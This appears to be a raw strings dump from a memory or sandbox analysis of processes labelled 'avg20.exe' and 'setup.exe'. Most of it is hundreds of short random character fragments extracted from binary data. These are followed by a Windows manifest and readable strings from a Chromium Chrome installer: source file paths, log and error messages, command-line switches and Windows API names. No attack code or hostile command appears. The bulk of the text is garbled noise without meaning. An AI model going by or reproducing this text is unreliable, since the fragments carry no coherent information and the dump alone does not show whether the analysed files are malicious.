=.dbq
>}R.lq
 Z.xr
%s#?S
rvu"^ø
gY.pNv
n.IiB
G H.Sh
B[%F@
5.RnH
 ,v1%S
S.hL|
.Hfq2S
ZjXR.Tm8
~.EG3
]!QHTs%uJ
9=6,%u
k=S.rJ')j1
:%sk@5~if
QXU&%f
nn.xk
x.QLk
Yx%.dpw
(.hN`
.zl5M/
.bwj8
.En~=
/%X>@
.Qu^J
.VGK7I
h%xfK=
S.GTc
|ny.xs
P-j}?
.j.Sif@
:xqe%Uk
.jQ8O
,lp3%U
]%sf 
&1S.HJC
JD.oaL
g0%uPF
G.nC;A
5lc}%C_
.jY[-
.yyx1K
iR.ED
%DI}Hc
<].BF~
.YzYB
%fJ70O
.rzy"
\qR%X
.Ba%1
G.DA}
^.BI 2
.Ch @*
cq.Kt
>.RGeq
kfGK_2eY%S
\b/.Wj'U
I.Ev_
e.qvY
i;%Sn
.JzeLW
L .WLA
T.OS3
FCmd
a.nL#
SXx%F
.dlU6
(.Ea};
o.ufcA
!.Ep@
.OY{o
@.kJqu
|mTl%F
X.Uud
DL6yw8.boU,;
2%Uco:T-
?hA%u
KE%X~
UbÎ
/N`.mqFEr
.tB36Ec
yC.hkM
c%c{-b
n.vj<
!%XFK
V.XWN
yF*%X
&QSQL
=õ0Z
.zFf`
:w%x$
5i%s4V
jI.qw;
Q~KFTP
.KgO2
;C.Pq{
%D>mPX
.zh5x
%s9( 
,T&%S$=E
'.%u~
.dP `
k--iP} W-
ns.iy
$Og.lc
^-nF}
.Tw;c
dT;ip.uK{9aJ
)*tS.sPrT
K.hB%
0?kCX|ÕfdA
.YCN@
]2/%c
{.Edj
}0%FV
#P%xK
yc.YitU?
da:.Pq
.ed%V
6Xa%c
)Bu%S
Sm.ht
4%c]0
#%X4t{
h%UpK
=.brH
5.SH!)i`
=l"
vV.hs
.of3#^
nn.gv
@.NRlM
[%cRQ
.YLe%
.AAMx
(%/.SY
.Irbk
~rhN%u!t
}ÜQ
gD,.LqZr
#-d2}
%u]aW
4Gi%S
T%s 2
(nW%f
.Rn1v4
;`#.ro
l%U8K
3(%4XcxN
nX.St5`J
VjÞ
Gc]%Xe
.iCDPf
=f$3fTP&
?D:udpXp9F
.sK.X
.Ni}?
N.wo6(
&W5%f
CVp/.uH
2_7!;`I.Mx4
|.bi)
rl%U8
#.THm[
G%Fr2
L:%xu
j |%7SQ
kpF.Fc
R>2%X
%cq;aZ
dI #%c
.uQ,dHP>
=tCpp
@i.UY
uz.sb 
ftpT
[.Wb=
YRf%F
.~juû8
~)A%D
p .zR
%s.&V
;Uv.gx
g3-K}30}
/K.%C
X}.qc
[.vK]T.
.gzv]
D'.Fy
v.tZX
O.cu@
.pI)r
22{.cZ
.Wj;e
D6&X7.Wf
P.WfE
bdF.Hh
OV%sZ
K.jin
l.vvz|
6.KU?
h|%U_c7
0.Uh*
.wg_Jf
o.kcy
w~.Wu
:.DcxEj
cmde
MW.cN&%
d.LCH
|.vQ)
p{%s3R
1%CQ(
}b2?H.sS9Wn
Yhu%CYz
C`X_.sG"gO
}s%x!
op.ta
s~%S'
1.GNz\K#
JaCi1.Tb
`*<k.Xd\El
G.mJw,
uDPJ$
"Z%c"
,.ryW1
1WebH5
}%UX.
bS8<.wy
}&.StHh
 .Vd$
UDp='B
.DaE}
M~.SF
-%dOQ
 [0D.CM
.neKd
.mdnt
hs.VAm
.kU&~
-v.os b2
.hHIq9
.ie\5o
T;_Vu
 %cl="S
.ZMHFjk
8-Wv}
MQ%s"
 (r.XH
[.jI-m
o%.D_
_.ls&
2E>.Bx
NVY,DP_%S
3%dM-
].Kp1
.wVD~
xm5%cw
l4v|uRl
.LiZ>
.CbSl
Qy~%Cj
&j%u)`
T*w%C
wT.Kb
.cn\9
.aqz!\
*.Ml;
.Unki`!
>1.kQ
?.ZKH
.oS*~
z.BO%
(F.HD'@f<
.sPG!A
%XI3$
H-pq}gs=%DT
%x`DG
Tbn~zP%u
@O'%XDY
X.CY/
B.Vi 
P P$.NO
 %FKb
CURl
.neC!
<_T
?.jrG;$8
c.Mm#
*F=.CW
Y[q1%F,
uB.pw
t0.Tx
Tvz%c
o%E.jP
.KuCS
O`l.Iv
%Fm'C
4;M%xU
ZH%d >
[{.zve
lZÜ
35;p^%x
GR%cz" U>
T$.Hr
DlIÄ
.cqbt:$
}nv%C
g$.uR
Xf.nQ
.zC]:l
"p.AW:
Z.xZ8;
IA.xe_p
!d_%x
nÙ1n
tpY?J.Kj
.MAr|
MUp.PG
%uaT`
fc.za
!.Qel
%dZWY
y.b2%u'
SÐh
HuRL
.cwF;
2%x)zTQ
V0xo%Xl
M\^x.iUa
Q3ß
.Gmy?
l(%c/
".PQN
.uyt$
.fdHh>
C1,%S
*3.ky
S8)%U
/).sq
F.Fy 
'Y.Og
A5i%S
tD.fx
*<W%D
sS%dR
1E.rrfPL
[r\'3.hS
i%DGli
EcMds
nr%f~
UKEY6wlk
*zs1E- %u
x.kI2
]'%S/}
M%S 0
pg.Vc
Q%S'y
s`.mlc
.Ku)[HE
j%U*$z
N9".hB
 93.cxw
.LcM7
4K%s*T
1-G%C
%cK\]
M%s*f
.UO0f
2.ghzu^
%c^]M"s
!-H%C
C.so$
L.BEY
53.FH
#%f*E
o.Og_
%S[^&
(.Uua
6'S4.Kg
"/3*|[472
.Nypk[
;6.oG
fO%d<
%sgM[s5"
5r.ZW
.ZO@m
L`0.EZ
d%S5W
9y.m&WÚ
:By.KHt
r-.tF
Q*i/^7.UP
4^.xB
$s%X;S
.fDQP
$YL^ü
>2X.No
.qv,<
eej ?q%C
Q.d.xOJ
.aBLb
`%Uj#
OøC
@H7%Xa
%uO./
<@.Ot
.bKH<
.1^i)!uG%d[
i.Rvz
Kw%f_
.BA1`
.yOb$
.HNNAY9
%d .,~t
\S.dYx
(%Ch*
.sd2UPa
.al>?
0n%X4
t.GK/`
.ib#Q
>%f@&0O
&a%Fv&
..hTx
A2&%c
|o%FhJ
Zf.hr
w:BoF.Zk
.Ark,
%XqH*7
'!'.YW
v.nTP
U.bAd
,FTP|
^@]P.fV
%cYpD
>bL#.ro
.kG.tvw
5.FM))E
LrM%U
L%S/&F
.Qb[>
%.wSfh
þ<cc
H.ayI
%xyB'
b$fE.Vl
.KjM]v
h.Zdi
Ar%sK
uMsGRc
%X! 5
d6*.Rg
rTw%d:
A.vOBz
%u055
-eP}u<
-s.Rf
q).oT
qc%Do
29w.%s
.XMKU)N
5*.IV_
5%C`l
.Cm46$
W~>.rd
~.LH8&
"{:.VAy*
z/.uU
SB.pK
A{%c!
.tI1u
8'<Z"%u
c).Uy
W.ai5
'm-.Dx
  E%D
kY.mz
;>.HX
28%XDZ
'>%DJ
,bx.Jz?M
%c,f2&
x-5G%8U
|.pVu
1.cT!3
f.bwn
!.kHJ
wn|%do
esQl
9l.Nr
6R\J%x
"h%UULZ
KL$%S
j.vi$N
U.XZM
p8~.PZ
.kF%r
6=.Rj
.Le[w
X"-e}
N-U}c|
.NrY'
'.PV.|
.SqXV
n.SorH
~-Ul}l
B.BrT
gq.sY
<T%X{
.tCCr
g;.DY
=).en
%Dgc3$)
2.Dri
'WEb4Me
po.Sv
vs%S%
mÌD
JN.Cl
ÎQ0
.Re? :f2
k\.Zu
|y.DB
)E.Kvs
3a.jP;
AUu%
.ouPw
)?A.Hl
eV.tt
a3.ml$
h|i%d
|.Qyi
H `-=O %s
:H.yO
TPZ%D[(c
F7.jiY
I[.jvO
<*%sfW
$%FjN
KZ
.nG`ER
j.cd#{
-f}{x9Ld
".RIg
.IWz?
:T%.cT
V;.YM
.CKc3
GL6*%%X&
4F2s*Sql7
\Y7%X
.TZC^i5
]l%1s
Z.78.FvA
4d.YV
z0u.UZ
.hE/$
ltcP
p-~7oÉ?
×ny/
.ryZo
^GR/X.yKV3*
.syGT
j&.FKR
X.VE1
H%.sA
.wC"]
{r\%S
H;.tex
N(.nk
?sSh3@
evoO %X;J
%C&Bm/
1:.ti
.vS~)B
kU)%d
Zi.XV
.vQ&,F&
.vNMV
Bx!y2.Yv
PsM3%s<
-=Sql
|%D=#
V:\qv
4(:Y/XJ
%Fy sU
.qJf8h
#Î3
Ho%XL,,
%cPdi
9hT%c
=.UqnV
%c)[N
.JTKfN
.lB!zm
(H.hKr
.XG7?P@
.4%SJ
ÕcL
.flbx< .
.SvzB
V*B.TEKqZ
LZ.wA
'=.QV
&.RZK
%sB$u
@.tGR(~=
=dmM>n%C[e]
NC.tv,8
.ax*%J*
ol.Lu
Ê,?
m%SZ2
:;..GS
fTP EW
%DS(s<
1[u%sUD
M~/.oV
<.AJ:1j/
5.uc(V
.rz#I
!W %DQ
.jAk^
.jh'3
V*.GP
)g%x]h8
I/.wI
(.bcw
%u=wf#Z
q:\?]
h.uO^
.JCOm
w.Xj&
~/.er5
]Ül
bH
Ah.xo
-.NYt
.ln6bL
YvQ.op
^$%UZ
&.TFC
*l.Mk
%cSxn
h:o.Zx
Hr%Xej
[.JUt
%xS`K
Vh.Ija
{K.yg
,r.BH(~kk
.jWfL<
.Wfg}
*v1.gp
BlFtP
!.WDE
0l%X%
jlwÝW
[7.HF
H;-l}
;.EPss
uxA-I}
Qf,%xU
.grHtg
Zj.TQP
.rOo&
t.hE :_
.ua6@6]
%Di|g
>.iul
>.lXb
`^
|.qP^
$u.fg
H,].La
DZ%dr<
r5f.QTa
.EC1M
NF%FLJ
Od
]9Y%s
n.aGgq)C
<d%F}
a.gFwa
ca*%x
dñ_
AH8%U
%X^5h
3`]%s
tq}a%D
mtO.FNgY
%DQB[2%
%xpx<
8.VzG
%QVs.DS
AE.xSE
9..JdE
.IJ]7
.moOA
%X-<h
.Wuy@
L:\Ei
.Ahl_
y%@.wVd
e.e.AI
.mSEQ
LS.zwWl
/.Gd H
r&n%U
q)t.cfA
l@f?.EY'
.uIi3
I.xG7"z
H.yv\:
:3V.cg
/7 T..JG~#KY
\.TMP
ZRSql
>p).qZ
.cF>~
zBGcmd
`!.Me
AIyV)%5U
.qF4X4
Ok.iVOg
Y%uLn
Zh.bt
MSgi
-w.HP,
40%Du
*5.bQx
d83%c
kr%u6
.Tpn*
32.AtgN
1Î_N
<%SuK
.DLeW
hgWnÁ
.rI0]V
.LXI4l
$T%U3
e>X%cN
.HOr4;
.zdnY
.OrCO`]
I@%US
f.zrG
a%sU{
FBo -%x
#_.kc
,Z.zM7|
>Iz.KN
Qf~S.BH
nkY%SP
%f$#G
n.Dj?D
K`-.XO|
*rh.hd
4.IHe
.so3A
kT_%s
I3.az
\n8%uv
6d{%S
Ÿ;*
%seR=
U3.og
.ENNgC
.sse>Kkk
,Woh#%S
`3A%C
|/H}.fAB
UN.xn
'.Di&O=
hm.lM
q.vG}YD
E%CVF
y0,%x
"L.VN
%d*,uU
/m%S0
-YP}|
3f.HJ`J00
kw4.bV
q8v%c
w"0.tv
lI%dki
.pGUT
.kZyS
gJ.Nx
U.iVCw
>%ui(
uRlc
rH%dQ
M.oaH
2w.II
{/"%S
kN.bX
.qFs'
Y,.xx]
.vh3m
uG.YgJ
".NeF`
.fo0d9#
%$5}6#}=
>.GLQ
.Kps-
.MHoe
p^%Dj
xx;%X
F%S:j
>).PuG
~%6U~
.Wb7;
d.sX)}
^Q)H%U
~2.WX
>.Uz7
vn>.sC
{D%FK
az%C]
%F*uA
%xkf)aP
.lm)%
}B%sB
p%%Xm
ap.vG
A].rK>w
%.kxw
h6þ
[email protected]$
5.gh&
CRtg
pI{%xA
|o.sGu
[email protected]
.Yas5
UDPXyyF
.lA!Q
I.NrJb
\5%SI
%UR4j]
q".Yq
vl.aN
%f@Aig
.hoM}
CoE%F
X<vq%U$
Rla.DL
"e%3U
.uDz]sM
(9.uD7
!cMDgV
a~`aQ%d
0.zxL[Y?
2'Îp
 .Fjn
`*cGxr%f
#`.DA
fD%Cj
1xC.pe
fU %C
K4b.GCg
%ctxz
~EuM(%U
?rt.yjq
.aw8Zz
XH.pO
%c,C>
.QW"6
aCt(%c
?%xei
.NC:yh
i%u!=
sox%uJ{
%fI@e
.jfBt
%xEg<
 .oQ|u
 }%9ST
t.oV{
jA :o.EY~*x
%d>=7
O5.XXd*w
?%Uy<~
&tcpH-
%sHTyUQu>7
%Ui94PB
t kM~.Nv
/t.Sa
.kocSb
u.Ì
.bQg9
.FF$dJm
1y.ea
6d.Ck
ds-m}
r,*%f
\.pf,<
a.fg~
.Zm@@
-1}RT
.Tvn?
b.zqK
e.lxV
S{?.xu$
RM.hOB
b^$.vR
J%x1U
.PoX{
ziF_%s
w%Sp?
3[PL8<W%uQ
.dR/Q\q|fy
Mt<B<,u.Lr
,#.wrR2
1{C.Uj
.nY;c
]U\.Vm
.Rttg
%m.em
1#dw%XA
(.gyX
0.sZ4
j.mvt{
H?bd%d
c.ulo
)z.Ma
_0.Yy&/&y
q.uKc
i.GM&]CD
~#?k7/%X(R
[.CPQ
Tqo&.ru/j
;6nd.FJ
e>i8RÕ
E5.WF
T,|%S
.skz4
(o%s=3
.zxSB
6Nj.GO?T
(DYVT o.OXR
N<%S@
!w.Ke
y_.pq
In.pa
>p.To8B
.BjYI
%UI8f
Da/!%C
H.PfK
Ýo{
6Q.Py:
cZ>.Eh
 s)%c
6 .wJ\
t_.VS
Hs.rE
.hMyS*Q"
l.vdLc
Y@ .qM
H%X2~H
j".BQk
"N.EDb
T^j.jF
5%CyD
yY@[L.rjm
h.MtLWt
.je{KL*
%D%-s
=a[%C,sh
o%d|x
.XheZ
x/.hO
%X109
hH.Pdi
A%ua*
&|Y5.iD
.rOG!
.fW-[
-c.kk
%dmhQ
-9g}T
ud%CIb$
-7Z.Cqkb
,%Ux[
E).qyO
-5d%D
M%d{BV
=gf.qr
d.wNi
_j%d?`M
{%Fh!j
.bg/n
Z.HAM]
h%cxX
X.qb=
By.lIB
1;-.ywX
'-A}y
"3R&g.td
R%Ukv
..UBZ
@.pkg
.vzN0
KeyO
xB.dO
A.zY%
0p<%D
mxJ
G<%C@
'OF.aM
2.vC7
((.FZj
_<~w%s
:r3L.Jb
k.zAN)
.lr]2?
Q%CKn%
.fx?L
%U^wE
Kh@1
8/.QF(v
V5"%C(U
}E6E%f
>3.fY
@^.zc
.inMOH
g?M
[PJ%X
:s%fG
Y%.f 
v^(.ZZ
@#j7Z.OV
bz.VO
  .LVa
Sql$m
WyC.uI
:f.uM
%uQu>
V!I%u#,
`y%uQ
VbI%xA
.HrzZX
x:\sd
d<.RWU
7.pC.:
^a?%xM1
*_.jp
o5.uf
mr.nd
U.lH:
KP[.Pv
;qd.nj`By
;!.ju:
f.Egx;:W<
5-R.QP
/6.tO
%8s*0
&i.jWt
7oDT%d
.vzs^
.iL`?
mSGC
r$.PTH
%FIxR
x.TUe
A)8
*(%f@~
>)MH.Hn
l(&<%D
3?^
$~O.Wz
u;.SU
]-)@).BL
tI%u{Q
s.fRK,'
yH%Sk
G-5}Q
KeyF
VX.uu1
%.ZQ3
/%Svs
Gr %S
.asG7
4\.Pj1
u.Ckx
5V.KhNI
3N%x|
.Kyw'
.Bc)x
7|%Csn6
.xIJc(:/h.
U%3S:poYBc>
.XVs2
.XI$,
.zY|P
bREœ
.akFp/
%:.xD
azRuRL
b0OI%D
*#ZE.ox
bUPGLZweB
\L.Mu
eW.wY
&/.IR<
)dz>EG%Cj
VLfTpw
.xZ&OsAq
!?.Np|V|g
.CUt:
d<&%C
)ÕE
YW!.Mp
`%%FQ
-8t}h
=^.SD
@.BMp
.sqc;
{%C=Ly
gc.GJ
.qZ"pb
)9F%f
Eb'%c
xo-Ð
=!=
? R.eA
%DmZZ
`yTS%f^
b%SHnqka
%SG45
K%X,s=Z3
p<8ad%s
:0.zR i[?
bC6%s
My.MS
%x]pM
/7.el
.fPy8
.Ee`~
~Y.EQoQ
RtcPz
m.Lmb
N_%fR
M.ZO1
N&9.Er=
3ZIË
%uoc$
.j%c~c
:(>(%D
#gP%d!
VC%ua
B5.yzfm
[l.Fr&
N*%u&!
pH.BW
KaL%SL
.TiQa
e$D%D
.iZqj{
%cg`_#Q
9:%C|
%scx.,C
r\*K%s9<
gV.Ug
AV2%d
u.SQf
L73%F
CD.Tg
~P.Nq=X
jI%x:)|3
-q} p
>%F=*2
n%U@2
! .Dp
Oe.PD@
qo.Hm
bH%S]
™xeO
%UFg@g
.IGMD
Rgo.byS#Q
Ch]j
.ys8dO
XHs_^R.Od
87.yVP!
u.Maf
,.Ov^
f.fWNJ
%sD>b
cr%C'
@0Web
g%Xpj
%sH3]T
b.J.vf;5fF
!c8.QE
8úvQM
S]]%FT
G.qI@
%c\`d
;%CJc7
?G#W:j.Ec
^<;8u"GÌ<)
{IO.wUs
U.Bu&;
.tA?EG
E%x89
-nX}P
Cb4~%Uh
Yg(.AE
 H%x_
-L}Dc3
TB.wQ
Vftp
Eõ^s!5_
B|Ql.Nz
N#.sV%(|wE0
9->=%U
KA.nT;
T%f_?
n6L.xa
dc.ro
in-%S
.Lv~=
>8$.xn
.cR;Z
G.sL=9-T
zo Evot%s}&_
<%chDK
bX!Û
@h.Ub
.zl7n
u.wQG
WKT%CP
C.jX-
UM%xb
!.pd$
uR.JC3x
6%s|O
%xo}5K
$:%xu
.RthO
D$.=o.DO
$5c.EO
.zz>ew
Hf.ze
!i.Nv`N
-Xz}:
fR.LiF
Sd.DF.
:,%S<
%cv_E
D).jf
G$Ñ
\.]L.aJx"@
9\%sV
.eFZS
o.eGw$
|~O
`:|%FS
%Uu53/3s
*%1xm1
J.KxoW"{8
a%ULw
;.RHiGF
%uUf:
>@Ó
y%D&nY
0:z$p%D
8R.Hv
Mcrt)
.qV'o
].JvQ
!.gdAFN
"|" %d
1S%0U
x.TYg"
Oo4=
/.QW8
!`x.BM
MN.Bw
y%u=3
.iwB?R
nf;%f's
]h.he
rJ.QqmfM
_se.Dp
.CmY]
.vKj[
c%Sri8
U]I%u?
Nql"u.mF
X.ns3
z.RUpXV
.rA?R
./%S-oM
:.aZ9G
Oq.OX
.Sa8u
%1XDew
e%Fg:
:OW?.us
'.vFH
=S%x9
.ysdPb
cn.PO
s.pAH
GH.hO
FN.FR
e6PN.lg
Eo](%f
l?.fg M.
!!UvÆ
[email protected]
sm.VF
n.Kf_s}1
%3X0:
9/Y^}
k6x%U
-%9uf<
m.slD
%CJS.
".pI~
.-'m;%dS
%C}_6
.dGQD
)#%D.>
k.YJ][
YZay%X
Kz&1%s
"%u~M
e%ss*
,.ZEs%
R0%CN
iHTG%s
.Vt9m
v^.HW},
X%u'4T 
%U'_>
N.LS(by
b.ZN)
.eooY
.Dg=[
L.Cm:D@
^k0%c
E0.mVg
fy%D}
e=`%f?Bx&
%xk(:
nq[E%f
7A.Fh
.gGq-*
&cF.xC,
%Dkn[k
JX~.vL
1?b.vxy
).dr:
jbb%SX
%ds[h
.DSjP
.LOis
b.jwi
.SZ1#
>m.gZ
B.Lkb
^;.er
.xqGn
.GEr@
.lgi5.Y?
q.WJb
H %c^s
:qo%x*.
c:\0R
<1.sy
3p.jmSR
\6.XA`
-PwN}
j.CKw
I.l.lt
@@.Kf
%s)dF
.qZDy
-%UuN_
* v%C
d&.in
}^.EU{D
%fn|*
%s2&la
Pz.hz
9.KK}
!A.fv
.FY*O
FtPX
.kg0q:
%c<qO 
~%cWqy
q<.kZ
f|_Yb%dh}]C
$%cN6R
.Er5q
t0%Si
3.zE>
U.thU
dH(%u
.mv\#
oA.Cg
/XI.sO
N%C)z
.rbI/9A
f%UOR
@4%U_
Q=g%U&
K'.yW
.RBqA
S%c,9
M.Ym8U
G~c]=-fU.sN
Z.eF)
?%s0KU'
x.I%d
$.mZ9
.To0f
7.kFJ
'%ds=e
 .oHO
2.LY7Q
:.fA)
!MM%s
~.WK07
s?.KV
\K9%C
.kV~b
%F"OXF
S-.Qe
H.skxQi
%C-DCN
:.IGb
&.tI8
UI/%f
%sV B
=T.jn
u%Dix`
xg

%>}Ú
.WyjoB
.d5%xP3
%C`SL:
#0.thk@Z
s_.DI
FTPp[
.Lo&~
=.Nblk
t$.Cna9
2.Fh7
.ajLP
Y`r-hTa}9!
SX.lh
S%uf)
n(.YRr
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><ms_asmv2:trustInfo xmlns="urn:schemas-microsoft-com:asm.v3" xmlns:ms_asmv2="urn:schemas-microsoft-com:asm.v2"><ms_asmv2:security><ms_asmv2:requestedPrivileges><ms_asmv2:requestedExecutionLevel xmlns:ms_asmv3="urn:schemas-microsoft-com:asm.v3" level="asInvoker" ms_asmv3:uiAccess="false"></ms_asmv2:requestedExecutionLevel></ms_asmv2:requestedPrivileges></ms_asmv2:security></ms_asmv2:trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"></supportedOS><supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"></supportedOS></application></compatibility></assembly>
{8A69D345-D564-463c-AFF1-A69D9E530F96}
{4ea16ac7-fd5a-47c3-875b-dbf4a2008c20}
{8BA986DA-5100-405E-AA35-86F34A02ACBF}
{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}
--chrome-sxs
--chrome
--chrome-frame
@%WINDIR%\system32\cabinet.dll
%SYSTEMROOT%\system32\cabinet.dll
C:\Windows\system32\cabinet.dll
@chrome_
chrome
update-setup-exe
new-setup-exe
ChromeInstallerCleanup
SETUP.EX_
CHROME.PACKED.7Z
45.0.2433.0
chrome.7z

avg20.exe_284_rwx_03EF0000_00005000:




s"%u^
s!%u^
c!%u^
C!%u^
3!%u^
#!%u^
k %u^
3 %u^

setup.exe_2492:




.text
`.rdata
@.data
.rsrc
@.reloc
SHA256 block transform for x86, CRYPTOGAMS by <[email protected]>
w%s( 
9.texu
j.Yf;
_tcPVj@
.PjRW
c:\projects\chromium_clean\src\chrome\installer\setup\archive_patch_helper.cc
c:\projects\chromium_clean\src\chrome\installer\setup\install.cc
Adding Chrome to Media player list at
Could not add Chrome to media player inclusion list.
Logo='%ls\Logo.png'
SmallLogo='%ls\SmallLogo.png'
<SplashScreen Image='%ls\splash-620x300.png'/>
Registering Chrome as browser:
c:\projects\chromium_clean\src\base\numerics\safe_conversions.h
c:\projects\chromium_clean\src\chrome\installer\setup\install_worker.cc
Chrome Frame in use. Copying to new_chrome.exe
FUnexpected result creating CommandExecuteImpl; hr=0x
Adding unregistration items for DelegateExecute verb handler in
Not operating on Chrome while migrating to single-install.
No multi-install Chrome found to migrate to single-install.
No DelegateExecute verb handler processing to do for
Adding registration items for DelegateExecute verb handler.
not supported.
c:\projects\chromium_clean\src\chrome\installer\setup\setup_main.cc
Renaming of executables failed. Rolling back any changes.
Upgrading existing Chrome browser in multi-install mode.
Launching existing system-level chrome instead.
Tried and failed to launch Metro Chrome.
was found, as a last resort (if the product is not present in Add/Remove Programs), try executing:
Aborting operation: another installation of
setup.exe patching failed.
chrome_install:
Can't register browser - Chrome distribution not found
Chrome product not found.
Uninstalling multi-install Chrome Frame.
Uninstallation of Chrome Frame returned status
Chrome Frame not found for uninstall.
Installing Chrome from compressed archive
Cannot install Chrome without an uncompressed archive.
Chrome only supports Windows XP or later.
Non admin user can not install system level Chrome.
c:\projects\chromium_clean\src\chrome\installer\setup\setup_util.cc
Looking for Chrome version folder under
0.0.0.0
single-install Chrome.
multi-install Chrome binaries.
chrome-frame
migrate-chrome-frame
c:\projects\chromium_clean\src\chrome\installer\setup\uninstall.cc
DeleteChromeFilesAndFolders: no installation destination
Launching Chrome to do uninstall tasks.
chrome.exe launched for uninstall confirmation returned:
Failed to launch chrome.exe for uninstall confirmation.
NTUSER.DAT
Failed to delete key at
Retargeting user-generated Chrome shortcuts.
Retarget failed: system-level Chrome not found.
Closing the Chrome Frame helper process
Uninstallation complete. Launching post-uninstall operations.
setup.exe is not in target path. Skipping installer cleanup.
c:\projects\chromium_clean\src\chrome\installer\util\lzma_util.cc
c:\projects\chromium_clean\src\chrome\installer\util\shell_util.cc
Could not make Chrome default browser (XP/current user).
Could not make Chrome default browser (XP/system level).
Registering Chrome as default browser on Vista.
c:\projects\chromium_clean\src\chrome\installer\util\product.cc
Failed to Open or Write MSI value to client state key. error:
c:\projects\chromium_clean\src\chrome\installer\util\installer_state.cc
It seems that chrome is being installed for the first time.
It seems that chrome is being over installed.
Failed opening key
c:\projects\chromium_clean\src\chrome\installer\util\master_preferences.cc
c:\projects\chromium_clean\src\chrome\installer\util\delete_after_reboot_helper.cc
Failed to open session manager key for writing.
c:\projects\chromium_clean\src\chrome\installer\util\install_util.cc
Deleting registry key
Failed to delete registry key:
Failed to parse an executable name from command line: "
auto-launch-chrome
chrome
chrome-sxs
do-not-launch-chrome
make-chrome-default
new-setup-exe
register-chrome-browser
register-chrome-browser-suffix
register-dev-chrome
register-url-protocol
rename-chrome-exe
remove-chrome-registration
update-setup-exe
toast-results-key
auto_launch_chrome
chrome_shortcut_icon_index
do_not_launch_chrome
make_chrome_default
make_chrome_default_for_user
Cannot initialize an AppCommand from an invalid key.
c:\projects\chromium_clean\src\chrome\installer\util\app_command.cc
creating AppCommand registry key
c:\projects\chromium_clean\src\chrome\installer\util\conditional_work_item_list.cc
c:\projects\chromium_clean\src\chrome\installer\util\google_update_settings.cc
c:\projects\chromium_clean\src\chrome\installer\util\google_update_util.cc
c:\projects\chromium_clean\src\chrome\installer\util\installation_validator.cc
be web accessible
Chrome Binaries are missing "-multi" in channel name: "
Chrome Binaries are missing "chrome" in channel name:
Chrome Binaries have "-chrome" in channel name, yet Chrome is not installed: "
Chrome Binaries are missing "-chromeframe" in channel name: "
Chrome Binaries have "-chromeframe" in channel name, yet Chrome Frame is not installed multi: "
Chrome Binaries are present with no other products.
Chrome Binaries are present yet Chrome is not multi-install.
Chrome Binaries are present without Chrome, yet Chrome Frame
without Chrome Binaries.
) does not match that of Chrome Binaries (
has an unsupported usagestats value (
c:\projects\chromium_clean\src\chrome\installer\util\self_cleaning_temp_dir.cc
c:\projects\chromium_clean\src\chrome\installer\util\user_experiment.cc
Experiment qualification bypass
c:\projects\chromium_clean\src\chrome\installer\util\channel_info.cc
googlechromeframe
Cannot initialize AppCommands from an invalid key.
c:\projects\chromium_clean\src\chrome\installer\util\app_commands.cc
Failed to open key "
Skipping over key "
item execution failed
c:\projects\chromium_clean\src\chrome\installer\util\work_item_list.cc
list execution succeeded
NoRollbackWorkItemList: item execution failed
NoRollbackWorkItemList: list execution succeeded
c:\projects\chromium_clean\src\chrome\installer\util\copy_tree_work_item.cc
c:\projects\chromium_clean\src\chrome\installer\util\create_dir_work_item.cc
c:\projects\chromium_clean\src\chrome\installer\util\create_reg_key_work_item.cc
no key to create
c:\projects\chromium_clean\src\chrome\installer\util\delete_tree_work_item.cc
Acquired exclusive lock for key file:
Could not exclusively hold all key files.
c:\projects\chromium_clean\src\chrome\installer\util\delete_reg_key_work_item.cc
Failed to backup destination for registry key copy.
Failed to restore key in rollback.
c:\projects\chromium_clean\src\chrome\installer\util\delete_reg_value_work_item.cc
(delete value) Key:
c:\projects\chromium_clean\src\chrome\installer\util\move_tree_work_item.cc
c:\projects\chromium_clean\src\chrome\installer\util\self_reg_work_item.cc
0xX
COM registration export function not found
c:\projects\chromium_clean\src\chrome\installer\util\set_reg_value_work_item.cc
c:\projects\chromium_clean\src\chrome\installer\util\language_selector.cc
Failed getting info of key to backup, result:
c:\projects\chromium_clean\src\chrome\installer\util\registry_key_backup.cc
Failed getting name of subkey
Failed opening subkey "
Failed backing up subkey "
Failed creating subkey "
Failed writing subkey "
Failed to backup key at
Failed to open key at
Failed to create destination key at
Failed to write key data.
c:\projects\chromium_clean\src\base\logging.cc
(0x%X)
Error (0x%X) while retrieving error. (0x%X)
ARegDeleteKeyExW
advapi32.dll
c:\projects\chromium_clean\src\base\win\scoped_handle.cc
c:\projects\chromium_clean\src\base\process\process_win.cc
PlatformFile.UnknownErrors.Windows
Windows NT
%d.%d
user32.dll
(%d = %3.1f%%)
Histogram: %s recorded %d samples
(flags = 0x%x)
c:\projects\chromium_clean\src\base\pickle.cc
0123456789
Unsupported encoding. JSON must be UTF-8.
Dictionary keys must be quoted.
c:\projects\chromium_clean\src\base\rand_util_win.cc
Line: %i, column: %i, %s
try-chrome-again
session.startup_urls
session.urls_to_restore_on_startup
chrome.googleechotest.com
%s\%s
c:\projects\chromium_clean\src\courgette\disassembler.cc
c:\projects\chromium_clean\src\courgette\assembly_program.cc
c:\projects\chromium_clean\src\base\numerics\safe_math.h
32 bit executables are not supported by this disassembler
Resource-only executables are not yet supported
.relocs outside image
.relocs block outside image
64 bit executables are not supported by this disassembler
Not an executable file or shared library
Not a supported architecture
c:\projects\chromium_clean\src\courgette\disassembler_elf_32.cc
Skipping relocation entry for unsupported section:
c:\projects\chromium_clean\src\crypto\secure_hash_openssl.cc
SHELL32.dll
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
GetProcessWindowStation
operator
c:\projects\chromium_clean\src\out\Release\setup.exe.pdb
ShellExecuteExW
SHFileOperationW
ShellExecuteW
setup.exe
VERSION.dll
WS2_32.dll
WINMM.dll
UrlCanonicalizeW
SHLWAPI.dll
RegLoadKeyW
RegUnLoadKeyW
RegEnumKeyExW
RegQueryInfoKeyW
RegCloseKey
RegCreateKeyExW
RegDeleteKeyW
